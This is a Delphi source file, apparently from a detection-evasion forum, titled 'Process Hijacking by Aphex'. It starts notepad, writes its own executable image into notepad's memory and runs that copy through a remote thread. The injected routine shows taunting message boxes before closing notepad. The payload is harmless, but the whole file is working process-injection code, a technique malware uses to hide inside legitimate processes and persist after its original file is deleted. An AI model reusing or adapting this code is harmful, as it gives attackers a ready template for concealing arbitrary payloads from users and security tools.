Indetectables

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{
Process Hijacking by Aphex
http://www.iamaphex.cjb.net
[email protected]
 
Greets to dildog for giving me the idea.
}
 
program Project1;
 
{$IMAGEBASE $13140000}
 
uses
Windows;
 
function Main(dwEntryPoint: Pointer): longword; stdcall;
begin
{now we are in notepad}
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
MessageBox(0, 'Hello, now I am in the memory of another process!', 'Hijacked Process', 0);
MessageBox(0, 'Now we can do anything we want. :)', 'Hijacked Process', 0);
MessageBox(0, 'You can even delete the original exe and these message boxes will still be here.', 'Hijacked Process', 0);
MessageBox(0, 'See?', 'Hijacked Process', 0);
MessageBox(0, 'Told you.', 'Hijacked Process', 0);
MessageBox(0, 'Ok, bye.', 'Hijacked Process', 0);
MessageBox(0, 'I''ll close notepad for you ;)', 'Hijacked Process', 0);
ExitProcess(0);
Result := 0;
end;
 
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;
 
var
ProcessHandle, PID: longword;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
 
begin
{lets make a new process}
CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
{give it some time to wake up}
Sleep(500);
{and hijack it!}
GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Main);
CloseHandle(ProcessHandle);
{we have a copy of ourself running in notepad so we can exit}
end.